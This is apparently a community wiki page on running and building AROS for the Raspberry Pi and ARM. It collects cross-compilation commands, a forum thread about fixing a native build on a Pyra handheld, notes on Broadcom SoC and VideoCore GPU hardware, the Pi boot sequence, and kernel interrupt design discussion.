[], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], 

[], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&amp;pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], 


The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD 


===Hosted===


AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&amp;pid=13910#post_13910 here] 


[http://www.aros.org/snapshots1.html old linux and android hosted 32bit] 


===Good sites to visit===

*[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] 
*[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] 
*[https://rpilocator.com/ RPiLocator] 


Linux only
*[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] 
*[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] 
*[https://dietpi.com/ DietPi] 
*[http://www.tinycorelinux.net/ports.html piCore]
*[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] 
*[https://github.com/armbian/build Armbian] 
*[ PiMiga] 

*[ FydeOS]
*[ TwisterOS based on ChromiumOS] 
*[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] 


Other alternative lighter smaller than Pi OS 
*[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] 
*[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4]
*[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] 
*[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] 
*[https://github.com/stevereaver/uaos uaOS with Emu68k] 
*[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] 
*[ HaikuOS]
*[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] 
*[https://github.com/maxnet/berryboot berryboot]

*[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] 


==== Hosted ====

=====64bit=====

[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&amp;rowstart=80&amp;pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] 

[https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], 


=====32bit=====

Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013]

 ../AROS/configure --target=linux-armhf  --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib

arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux)

*armel - many of the &quot;android&quot; machines require since the entire OS is made for soft float VFP. 
*armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP)

Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI.

Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets.

*needs an AROS code compiler for ARM target 
*as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes.

with—disable-crosstools  $AROS_CC  is always a wrapper around $KERNEL_CC  ?  If  so,  this  is  wrong for some ports. This can break Darwin, Windows and Android port. 
Yes,  Android  port  will  build.  And  even  work. But it's not good because  the  port  will  not  be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example:

&lt;pre&gt;
enum test {foo, bar};
enum test testvar;
&lt;/pre&gt;

sizeof(testvar)  will  be  equal  to sizeof(int) in GNUEABI (Linux and AROS)  and  sizeof(short)  on  Android. This affects linking objects from static linklibs, for example.

Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts.

Android is the same. $KERNEL_CC is incompatible with AROS.

compiler=kernel  is  appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or  barebone  hardware,  if  we  talk  about  native).  This includes bootstraps,  their  linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations.

No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows,  Android) this is not true any more, and compiler=kernel is never going to work.

If  you  want  to  compile your AROS module against host OS includes, append  the  following  to  USER_INCLUDES  (or  USER_CFLAGS,  this  is effectively the same):

 -isystem $(GENINCDIR) $(KERNEL_INCLUDES)

$(KERNEL_INCLUDES) expands to:

 -isystem  &lt;your_os_includes&gt;  -isystem  &lt;host_OS_gcc_private_includes&gt;
 -nostdinc

This makes AROS compiler adhering to host OS APIs.

If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH).

Why is there $(GENINCDIR) at all? Because host OS has its own libc includes, which would conflict with AROS ones. And the host OS libc is not binary-compatible with AROS one.

Why doesn't Windows-hosted port use $(KERNEL_INCLUDES) ? Because WinAPI includes conflict with AROS ones in fundamental typedefs, like WORD, BYTE and BOOL. It's almost impossible to deal with this in any other way than rewriting WinAPI definitions using AROS types.

Building under centos 6.3 (i386) currently, and AROS creates the toolchain itself. haven't yet committed the necessary changes but &quot;./configure --target=raspi-armhf&quot; is enough to start, then &quot;make arosboot-raspi&quot; will generate arosraspi.img (containing the bootstrap, kernel.resource, and exec.library) as well as arosraspi.rom (containing all the other essentials components such as dos, graphics etc).  It will also copy over a config.txt file to make the raspi bootstrap code load the correct kernel, and a cmdline.txt that enables exec debug output.

*armel = typically Debian 6, Ubuntu Maverick, Android, 
*armhf = typically Debian 7, Debian 8, Ubuntu Precise,

Cross-compiling Ubuntu ARM softfp 
&lt;pre&gt;
    sudo sh
    echo 'foreign-architecture armel' &gt;&gt;/etc/dpkg/dpkg.cfg.d/multiarch
    echo 'deb [arch=armel] http://ports.ubuntu.com/ precise main universe' &gt;/etc/apt/sources.list.d/armel.list
    apt-get update
    apt-get install gcc-arm-linux-gnueabi libx11-dev:armel libsdl-dev:armel
&lt;/pre&gt;

&lt;pre&gt;
 ./configure --target=linux-arm --x-includes=/usr/include \
             --enable-includes=/usr/arm-linux-gnueabi/include
&lt;/pre&gt;

Cross-compiling Ubuntu ARM hard-float 
&lt;pre&gt;
    sudo sh
    echo 'foreign-architecture armhf' &gt;&gt;/etc/dpkg/dpkg.cfg.d/multiarch
    echo 'deb [arch=armhf] http://ports.ubuntu.com/ precise main universe' &gt;/etc/apt/sources.list.d/armhf.list
    apt-get update
    apt-get install gcc-arm-linux-gnueabihf libx11-dev:armhf libsdl-dev:armhf
&lt;/pre&gt;

&lt;pre&gt;
    ./configure --target=linux-armhf --x-includes=/usr/include \
                --enable-includes=/usr/arm-linux-gnueabihf/include
&lt;/pre&gt;

Now, the AROS build is configured properly and all you need to do is:

 make


==Build==

===64bit===


===32bit===


# download/checkout the source someplace, e.g. /build/AROS-Src/
# make a directory to store external sources AROS downloads, e.g. /build/Ports
# make a build directory, e.g. /build/aros-raspi-armhf
# cd into the build dir, configure, and then run make -:

&lt;pre&gt;
&gt;cd /build/aros-raspi-armhf
&gt;/build/AROS-Src/configure --target=raspberrypi-armhf --with-serial-debug --enable-ccache --with-portssources=/build/Ports
&gt;make
&gt;make arosboot-raspi
&lt;/pre&gt;

then copy the files from /build/aros-raspi-armhf/bin/raspi-armhf/AROS/ onto an sdcard, and download/copy the Raspi firmware files onto it.

You should then be able to boot the sdcard on your RasPi.

The current W.I.P tree to svn. it can be built as follows ..
&lt;pre&gt;
./configure --target=raspi-armhf
make arosboot-raspi
&lt;/pre&gt;

That will generate arosraspi.img, arosraspi.rom and config.txt in bin/raspi-arm/AROS - so either copy just those files to a fat formatted SD card (with the firmware files on), or copy the whole contents of the AROS folder.

NB - if you have a Linux/other install, backup the existing config.txt first

arosraspi.img contains the bootstrap (which has very basic mailbox code, framebuffer/gpio init, and console &quot;emulation&quot; via code pinched from our libbootconsole), kernel.resource, and exec.library

arosraspi.rom contains all the other components needed to boot AROS.

The config.txt file will tell the RasPI bootstrap to load the arosraspi kernel and ramdisk (rom).

the bootstrap has minimal mailbox code, planning on adding either a resource or library that driver/app code will use to access it (likewise for GPIO)


Help building AROS hosted on Linux ARM

Was looking a way to use more my Handheld ARM based called Pyra (Dragonbox Pyra) an ARM (Omap5 cpu with 4GB ram) linux based machine (Debian Buster v10 with kernel 5.6.19 adapted) and have a try to compile the latest Aros sources by Deadwood directly on this device.
Compilation stops after build libpopupmenu.a and trying to build libatomic have this error:

&lt;pre&gt;
    Configuring build in bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic
    configure: WARNING: unrecognized options: --disable-nls, --without-x
    checking for --enable-version-specific-runtime-libs... no
    checking for --enable-generated-files-in-srcdir... no
    checking build system type... arm-unknown-linux-gnu
    checking host system type... arm-unknown-aros
    checking target system type... arm-unknown-aros
    checking for a BSD-compatible install... /usr/bin/install -c
    checking whether build environment is sane... yes
    checking for arm-aros-strip... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-strip
    checking for a thread-safe mkdir -p... /usr/bin/mkdir -p
    checking for gawk... no
    checking for mawk... mawk
    checking whether make sets $(MAKE)... yes
    checking whether make supports nested variables... yes
    checking for arm-aros-gcc... /media/farox/pyra2/arosbuilds/toolchain-core-armhf/arm-aros-gcc
    checking whether the C compiler works... no
    configure: error: in /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic':
    configure: error: C compiler cannot create executables
    See config.log' for more details
    make[2]: *** [mmakefile:4489: /media/farox/pyra2/arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic/.configured] Error 77
    [MMAKE] make --no-print-directory TOP=/media/farox/pyra2/arosbuilds/toolchain-core-armhf-build SRCDIR=/media/farox/pyra2/arosbuilds/AROS CURDIR=tools/crosstools/gnu TARGET=tools-crosstools-gcc-libatomic-configure -s --file=mmakefile tools-crosstools-gcc-libatomic-configure failed: 512
    [MMAKE] Error: Error while running make in tools/crosstools/gnu: No such file or directory
    make[1]: *** [Makefile:361: linklibs-libatomic] Error 10
    make: *** [Makefile:183: crosstools] Error 2
&lt;/pre&gt;


looking at config.log on arosbuilds/toolchain-core-armhf-build/bin/linux-arm/gen/host/tools/crosstools/gnu/gcc/arm-aros/libatomic

found that arosbuilds/toolchain-core-armhf/arm-aros-ld: cannot find -laeabi
so do make linklibs-aeabi-arm-quick
and the missing lib was built.

now the next stop is at
fatal error: bits/libc-header-start.h: No such file or directory
and
fatal error: sys/cdefs.h: No such file or directory
in many places so after checking that have this missing include files i have noted that my include path is a bit different, standard searching path is /usr/arm-linux-gnueabihf but in my system is /usr/include/arm-linux-gnueabihf
so if i add my path to some mmakefiles compilation goes on....but is a better way to add this path to avoid every mmakefiles to be changed?

fixed with adding
-I/usr/include/arm-linux-gnueabihf
to where is missing on mmakefiles like
USER_INCLUDES := -isystem $(GENINCDIR) -I/usr/include/arm-linux-gnueabihf $(KERNEL_INCLUDES)

P.s. I have changed many mmakefiles and have at least compiled (after many hours) the toolchain doing make every time in arosbuilds/toolchain-core-armhf-build (also have to disable making tests under cplusplus but don't remember the directory ...) but ask an help to have an automated way to correctly build without modify mmakefiles.


Last time built armhf target was around 2 years ago. At that point built is via cross-compilation from linux (ubuntu 22.04) using linux armhf crosscompiler (this can explain the path differences you are experiencing) as well as using AROS gcc cross-compiler in version 6.5.0 (build with option 21) in rebuild.sh). Since then AROS GCC has been updated to 10.5.0 and don't believe anyone tried to build the armhf target again.

My suggestion would be to downgrade GCC to 6.5.0 (via editing AROS/config/gcc_def file) and try to first build using cross-compilation from x86_64 linux. Once that works, you will have a &quot;template&quot; to compare to native compilation under arm linux.


Thanks for your suggestion...but think the toolchain with GCC 10.5.0 is compilable if i found a way to pass the path of my system to the script that build (option 21 on rebuild).
The other only changes are (but don't know where to modify...) is to add the build of libaeabi and disable the building of some tests under cplusplus that use exceptions and is not supported under ARM. try to crosscompile with my Linux amd64 PC.

For paths look into core-linux-armhf/bin/linux-armhf/gen/config/target.cfg. A number of build-wide variable is set there containing paths to local build system. These variables and the target.cfg file are generated by AROS ./configure script.

Thanks compilation now go forward...changed target.cfg under &quot;toolchain-core-armhf-build/bin/linux-arm/gen/config&quot; and do make on &quot;toolchain-core-armhf-build&quot; dir.

Need to find where to enable build libaeabi.a so can build the entire toolchain with option 21 of rebuild.sh


Found something that looks like libeabi in AROS/arm-all/arm-aeabi/mmakefile.src. Try adding a third line there:

#MM- linklibs-armhd : libklibs-aeabi-arm

Don't remember needing this library. Possibly the 6.5.0 GCC somehow does this while 10.5.0 is missing this.

Try adding this line (and the variant &quot;linklibs-armhf&quot; instead of hd) but it did not solve the automatic building of the missing lib. I must do &quot;linklibs-aeabi-arm-quick&quot;.
Anyway after have build the aeabi lib i succefully built the toolchain (after many hours...). Smile

To test I restarted from selecting option 21 (on rebuild.sh) but after many hours i get the same error of the kernel includes not found...maybe i need to modify the configure script for my case.

With the toolchain built i try to build the core-linux-armhf (DEBUG) (option 22) but after a while it stopped with
&quot;cannot find -laeabi &quot; so i made it built manually...and now i can continue compiling...i'll let you know if all goes ok.


== Hardware ==

===64bit===


====BCM2712====

With the Pi5 

Broadcom VideoCore 7 vc7 is an integrated GPU with 12 cores and up to 800 MHz clock. VideoCore VII is capable of OpenGL ES 3.1 and Vulkan 1.2. The driver support for the Raspberry Pi continues to build upon the [https://lore.kernel.org/dri-devel/20230928114532.167854-1-itoral@igalia.com/ open-source V3D driver] stack within [https://gitlab.freedesktop.org/mesa/mesa/-/merge_requests/25450 Mesa] hopefully be merged for Mesa 23.3 

*Raspberry Pi M.2 HAT+ Expansion Board 
*Geekworm X1001 PCIe to M.2 Key-M NVMe
*Geekworm X1003 PCIe to M.2 HAT NVMe SSD PIP Board for Raspberry Pi 5 
*Pineboards Pi Hut HatDrive! M.2 HAT 2024/V4 
*Hat+ Gen2 Gen3 Nvme
*GeeekPi 52Pi N04 for Raspberry Pi 5 NVME M.2
*


*2024 RPI AI HAT    - Hailo  20TOPs  no LLMs 
*2026 RPI AI HAT+ 2 - Hailo  40TOPs  slightly better? 


[https://www.raspberrypi.com/documentation/accessories/camera.html Cameras for Pi]
*Raspberry Pi camera module, the V3 with Sony IMX708 back-illuminated CMOS 12 Megapixel sensor
*Raspberry Pi Camera Module V2 – 8MP Sony IMX219 Sensor
*Raspberry Pi camera Rev 1.3, 5MP 1080P OV5647 image/video module, 2592 x 1944 pixels


====BCM2711====

With the Pi4 an ARM a72 cpu is about x3 times the size of an a53 in the Pi3 

the 2711b line used more power when idle, compared to the 2711c 

*2018 Raspberry Pi PoE HAT Power Over Ethernet Hat - design issues 
*2020 Raspberry Pi PoE+ HAT Power Over Ethernet Hat Pi3b+ Pi4 only - better design 
*Waveshare PoE HAT (B) with cooling fan for Raspberry Pi 3B+/4B 802.3af PoE 

*[https://github.com/axizo-pi/V3DLib vc6 V3D 4.2] is derived from [https://docs.broadcom.com/doc/12358545 vc4], but it is significantly different 
The QPU pipeline stays mostly the same, you still have an add ALU and a multiply ALU and it can issue two ALU OPs per cycle. There is still 4 SIMD lanes, interleaved over 4 cycles.
The instruction encoding for the QPUs is different, but the core instructions are the same.

Instructions for packed 8 bit int math has been dropped, along with most of the pack modes.
Instructions for packed 16bit float math has been added (2 floats at in a single operation)
With vc5/vc6, you write two packed 16f value to the tilebuffer (or four writes of 32f, if you are using the rgba32f framebuffer). And there is a handy vfpack operation which allows you to pack two f32s into a single 32bit value in a single instruction. You can vfpack directly into the tile buffer register.

the multiply ALU can now fadd, so you can issue two fadds per instruction. the add ALU has gained a bunch of new instructions 

the A and B register files have been merged. You still only get an A read and a B read per instruction, but they read from one big register file (which means the underlying memory block has gone from two sets of &quot;one read port, one write port&quot; to one &quot;two read ports, one write port&quot; block)

The theoretical max FLOPs per QPU remains the same at two per cycle, other than the bump from 400mhz to 500mhx but it looks like a lot of effort has been put putting those theoretical FLOPs to better use. 
*vc4 could run one or two threads per QPU. When you ran in two thread mode, the available register file halfed to 32 registers.
*vc5 added a four thread per QPU mode, with 16 registers per thread.
*vc6 doubled the size of the register file. You could now use all 64 threads in two thread mode and 32 registers in for thread mode. Single thread mode was removed, you always have at least two threads.

With the threading improvements, the QPUs should spent much less time idle waiting NOPs for memory requests. Most of the design changes have gone to improving the fixed function hardware around the QPUs. A fixed function blend unit has been added, which should reduce load on the QPUs when doing alpha blending. hope software blending is still possible 

The tile buffer can now store upto 4 render targets (up to 128bits per pixel, so if you are using 4 32bit render targets, you can't have a depth buffer)

A MMU, allowing a much simpler/faster kernel driver.

Many more texture formats, framebuffer formats.

All the features needed for opengl es 3.0 

H.265 / HEVC decoder is a HEVCv2 Main 4:4:4 10 design supporting bitstreams up to profile 5.1
HEVC hardware decode supports 4kp60, 10-bit. Audio output is pretty much unchanged, but the HDMI audio channels now support 8x192kHz bitrates 

Each ALU typically have 2 floating point operators, and as you pointed out in a earlier post videocore 6 is no exception, with both a multiply and additive floating point operator. Thus theoretical GFLOPs are calculated with both operators in mind. That is what the 2 in my formula represents, and is common across any modern programmable shader, whether you calculate Nvidia, AMD, Intel, Boardcom or any other company's GPUs. Total ALUs * 2 * GHz clock = GFLOPs, In the case of Raspberry Pi 3, it's 24 ALUs * 2 operators * 0.4GHz = 19.2GFLOPs
If the Videocore 6 does indeed only have 16 ALUs (16 * 2 * 0.5GHz), you'd have only 16GFLOPs but they are better utilised 

Possible maximum performance 
&lt;pre&gt;
VideoCore IV @ 250MHz: 250 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 24 Gflop/s
VideoCore IV @ 300MHz: 300 [MHz] x 3 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 28.8 Gflop/s
VideoCore VI @ 500MHz: 500 [MHz] x 2 [slice] x 4 [qpu/slice] x 4 [processor] x 2 [op/clock] = 32 Gflop/s
&lt;/pre&gt;

Faster LPDDR4 memory.


====BCM2837==== 

With the Pi3 
* Broadcom BCM43438 chip provides 2.4&amp;nbsp;GHz 802.11n wireless LAN, Bluetooth Low Energy, and Bluetooth 4.1 Classic radio support, 3B+ [https://github.com/aros-development-team/AROS/commit/afa5bc0bb17d5dd06bcfdbac00853a3799ca8d76 LAN7515] 

The overclock ability has diminished with each chip version as the energy usage has increased. BCM2837 is one of the warmest yet and benefits from active fan cooling if all four cpu cores are in use for a short while. Video playback is not affected due to the custom support in the GPU. 5 V / 2.4 or 2.5 amp power supply recommended if all four cpu cores are running, else throttling (cpu slowdown) might occur. 

Dual VDP and scalable QPU in VC4 


ARMv8-A has [https://developer.arm.com/documentation/102412/0100/Privilege-and-Exception-levels privilege levels] where userspace typically runs at ‘EL0’, the kernel at ‘EL1’ or ‘EL2’ and the firmware at the highest level ‘EL3’. 


===32bit===

=== Core Kernel ===


====BCM2708(family)====
which includes the [http://elinux.org/RPi_Hardware BCM2835] (ARM1176JZF-S 700&amp;nbsp;MHz CPU + VideoCore IV GPU + up to 1GB RAM)

*Framebuffer (fb) using mailbox 
*IRQ scheduler, etc 
*Arasan based SD Card controller 
*Synopsis DesignWare USB 2.0 OTG controller [http://networkdirection.net/index.php?option=com_content&amp;view=article&amp;id=106:rasperry-pi-usb-controller&amp;catid=45:raspberry-pi&amp;Itemid=54 Unofficial DOCS pdf],  [dwc_otg.c FreeBSD], [], [https://www.riscosopen.org/viewer/view/mixed/RiscOS/Sources/HWSupport/USB/Controllers/DWCDriver/ RiscOS USB Driver], [https://www.riscosopen.org/forum/forums/5/topics/878 RiscOS USB Discussion], [https://www.riscosopen.org/forum/forums/11/topics/1893 Other USB RiscOS], [http://plan9.bell-labs.com/plan9/index.html Plan9 Miller's usb] http://plan9.bell-labs.com/sources/contrib/miller/, [https://github.com/Chadderz121/csud CSUD driver], 
*[http://www.smsc.com/media/Downloads_Public/Data_Sheets/9512.pdf SMSC 9512] USB LAN/Hub chip 
*CMOS RAM 
*VCHIQ port which sends messages to the GPU e.g. for mouse, keyboard, audio on HDMI, etc 
*Audio Driver 
*Serial Peripheral Interface Bus (SPI) 
*[http://www.susa.net/wordpress/2012/06/raspberry-pi-pcf8563-real-time-clock-rtc/ I2C registers]
*I2S 
*Universal Asynchronous Receiver Transmitter (UART) 
*[http://elinux.org/RPi_BCM2835_GPIOs GPIOs] and [http://www.adafruit.com/blog/2012/08/17/broadcom-bcm2835-peripheral-memory-map-and-gpio-alternate-use-chart-piday-raspberrypi-raspberry_pi/ Alternative view of GPIO]

BCM2836 
* For Pi B+, PI 2 and Pi 3 SMSC LAN9514 chip adding 10/100 Ethernet connectivity and four USB channels to the board

*[http://www.andrewscheller.co.uk/rpi_pcb_modules.html PCB], [http://elinux.org/RPi_Low-level_peripherals Low level features],


 Implemented so far... 

# Modify the configure system so that it correctly builds for the arm hardware float raspi target.
# Implemented the bootstrap to load the aros modules and prepare the arm to jump into them. Reworked the x86 console support so that parts can be stolen for raspi to use since t has no basic functionality to output to the display.
# Implemented a kernel.resource to prepare the raspi for running aros and provide the low level api calls to expose available resources and allow exec, etc function.
# Implemented serial debug support
# Implemented the exec (and kernel) functionality required to make multitasking work (and interrupts, exceptions, syscalls, etc)
# Implemented a timer.device to utilise the hardware timers.
# Implemented a very basic gfx driver to expose the hardware's framebuffer.
# Implemented an SD-Card driver for AROS which presently only supports the raspi's chipset but can easily be modified to support all sd-card hardware and media.
# Fixed the fat filesystem support in AROS so that it can boot on RasPi's normal SD-Card setup. The &quot;rom&quot; image files needed use a different filename than the default linux, etc images so can be easily installed without harming the existing files - you only need to change the loaded images in the config file to get aros to boot.
# Updated the build scripts to automatically download the necessary raspi firmware files and wrap it all up so that you can simply extract the archive to a fat formatted sdcard and boot it on the raspi without having to get anything else.
# fix everything in contrib and ports to build for raspi (needs proper testing/fixes but allows every component to actually compile at least, including owb) + numerous other fixes to get things working on arm/raspi ..


Improvements...

# Implement a USB chipset driver &quot;OR&quot; finish the existing one [https://github.com/aros-development-team/AROS/commit/c07d13c724f944674be5db54fc6a71ee72a01809 usb otg] - the current code is mostly a skeleton that should initialise the chipset and then needs relevant code to support the different transfer types. It also has the &quot;virtual&quot; hub code in place to represent the raspi's USB port (from poseidons p.o.v) 
# Implement a driver for the USB NIC (a few weeks - depends on USB above) 
# Write an [https://github.com/aros-development-team/AROS/commit/d55d0f74d20b769bbb8c8d386e5c1d7a9154f05a audio driver] (a few weeks - independent of USB) and [https://github.com/aros-development-team/AROS/commit/e93a4c245f27a87c9c4c1d39206694b39059998a HDMI]
# fix syscall bug in the current raspi kernel code
# Graphics depend on having a decent &quot;bcmdma.resource&quot; implemented as to use the cpu's dma engine. The sd card driver needs to use it for transfers to/from the controller - and the gfx system needs to use it for &quot;blitting&quot;. 
# [https://github.com/aros-development-team/AROS/commit/4019d84e4975d4dad987a12d57fe108f5ac048e6 Improve the gfx driver], [ vc4gfx HIDD] add [http://dri.freedesktop.org/wiki/VC4/ Gallium3D support] 
# [https://github.com/aros-development-team/AROS/commit/b13905b3e8e45b089f520b44692c81affddd066f Improve] the [https://github.com/aros-development-team/AROS/commit/3a876755c070f5c73c4f53c7f4d35b4f923088b9 sdcard] device driver  - which is also pretty basic but should work with most cards, rework it to also support pci, etc. sd card interfaces on x86 
# The current code using very rudimentary access to the gpio interface - so that should be implemented as some resource for other components to access, as-well as the i2c interface exposed over the gpio interface. that should have a hidd class implemented which uses the gpio resource to communicate.


 Boot up typical for most other OSs before the open sourcing of many binary blobs from 2017 onwards 

On power-up, the rpi [http://www.open.com.au/mikem/bcm2835/ BCM 2835] [https://github.com/hermanhermitage/videocoreiv VideoCore4] GPU, not the ARM CPU, is in control, and the SD card slot is the only peripheral device with power. The firmware burned into the BCM2835's VideoCoreIV GPU PROM requires a DOS-style partition table; a FAT-formatted first partition; and the freely redistributable but closed sourced Broadcom files “bootcode.bin” and “start.elf” in that partition.

The boot sequence carries out several pre-boot tasks

*On powering of the rpi, the GPU reads and executes bootcode.bin, which then loads start.elf 
*The GPU loads the “start.elf” file, eventually, into the L2 cache and then executes it
*configures the memory split for the CPU and GPU
*reads and parses “config.txt” from the same partition on the SD card and applies the settings (like a PC’s BIOS settings)
*loads the “kernel.img” file, again from the same partition
*activates the CPU to begin executing the loaded kernel image

The CPU/GPU memory split is hard-coded into start.elf, so Broadcom provides three start.elf images, to give 32M, 64M, or 128M to the GPU for multimedia performance, and the remainder to the CPU.

RPi uses [https://github.com/raspberrypi/firmware some closed source loaders] and at some point it loads a binary blob named &quot;kernel.img&quot; at 0x8000, at that point there would be a rudimentary Aros alive. If one wants to use the SD-card then there would have to be a driver for the interface and a fat filesystem handler (SD-card has to be formatted to fat filesystem)

Boot code and kernel are now linked together and made into that binary blob, just for starters. Raspberry Pi uses [http://kernelnomicon.org/?p=133 u-boot] and [http://kernelnomicon.org/?p=138 UBoot] as bootloader, there's already some code in the Efika MX port for that. UBoot is a native bootloader and not just for the raspberry pi, it loads after start.elf.

You can find Efika MX port from arch implementations, some hacking is needed for the mmakefile.src'es as iit dates back to before the Aros crosstool era or else you get some weird errors while building. You also need to code the bootstrap and serial handling.

At the moment it seems that a fastest route for the native build would be to make one binary blob without using the package system. Raspberry's memory layout is pretty simple and if the implemented u-boot doesn't support loading other modules 

&lt;pre&gt;
?          - alias for 'help'
mtest      - simple RAM test
autoscr    - run script from memory
base       - print or set address offset
bbm        - BBM sub-system
bdinfo     - print Board Info structure
boot       - boot default, i.e., run 'bootcmd'
bootd      - boot default, i.e., run 'bootcmd'
bootm      - boot application image from memory
bootp      - boot image via network using BootP/TFTP protocol
cmp        - memory compare
coninfo    - print console devices and information
cp         - memory copy
crc32      - checksum calculation
echo       - echo args to console
fatinfo    - print information about filesystem
fatload    - load binary file from a dos filesystem
fatls      - list files in a directory (default /)
go         - start application at address 'addr'
help       - print online help
iminfo     - print header information for application image
itest      - return true/false on integer compare
jade       -
loadb      - load binary file over serial line (kermit mode)
loads      - load S-Record file over serial line
loady      - load binary file over serial line (ymodem mode)
loop       - infinite loop on address range
md         - memory display
mm         - memory modify (auto-incrementing)
mtest      - simple RAM test
mw         - memory write (fill)
nfs        - boot image via network using NFS protocol
nm         - memory modify (constant address)
pci        - list and access PCI Configuration Space
ping       - send ICMP ECHO_REQUEST to network host
printenv   - print environment variables
rarpboot   - boot image via network using RARP/TFTP protocol
reset      - Perform RESET of the CPU
run        - run commands in an environment variable
saveenv    - save environment variables to persistent storage
saves      - save S-Record file over serial line
setenv     - set environment variables
sleep      - delay execution for some time
tftpboot   - boot image via network using TFTP protocol
USB        - USB sub-system
usbboot    - boot from USB device
version    - print monitor version
&lt;/pre&gt;


And there is one more thing about modular ports. In order to actually implement this, your bootstrapping environment should provide the ability to load several files. On PC this is provided by GRUB2. on CHRP you can read filesystem via OpenFirmware, and Sam's Parthenope relies on modified u-boot. If your bootstrap allows to load only a single file, then you stuck with monolithic kickstart. By the way...  u-boot allows not only to boot up a single uImage or zImage, it also allows to write client programs AFAIK. With this approach, you actually can write modular bootstrap for ARM AROS using unmodified u-boot.

Most used [http://www.compulab.co.il/workspace/mediawiki/index.php5/U-Boot_quick_reference uboot options] are fatls usb 0:1,

the reason behind INTB_KERNEL is to allow use of the standard Exec function AddIntServer() to add interrupt handlers for
hardware drivers etc. AmigaOS never used it for abstract hardware drivers. AmigaOS  routed  only  raw  hardware IRQs there. Their assignment was hardcoded. As well as number of them. Actually on AmigaOS every bus has its own interrupt subsystem. For example PCI bus. PCI interrupts on Amiga are routed to a single exec interrupt.  1:1 relationship between CPU  and hardware interrupts is present only on PC.

IMHO we miss things like AddInterrupt/RemInterrupt methods on our PCI subsystem's device class.  PCI bus class should map these methods to whatever is appropriate. This is how it is done on AmigaOS and friends. When these are implemented, raw kernel.resource API will be needed only for several PC-specific drivers with hardwired resources. Exec IRQs are real IRQs only on Amiga hardware. On other machines they can be emulated where appropriate (VBlank is a good example). kernel.resource is meant  to be different, its IRQs are hardware-agnostic, they are plain &quot;Hardware IRQ number X, whatever this means&quot;. They are low-level actually, and meaningful only in the context of a particular system.

Was that not the transition from irq.hidd to kernel.resource? No.  A long time ago there was another hacky bit named INTB_TIMERTICK. It was &quot;abstract timer interrupt&quot;, used by timer.device. It was the same as VBlank, but with larger frequency. I removed it, because kernel.resource API was a cleaner way to access this interrupt. Furthermore, there can be more than one timer in the system. Thinking about bringing back timer HIDD definitions again. hpet.resource is a bad idea.

Can someone please enlighten me a little on how the scheduler is meant to work?
 
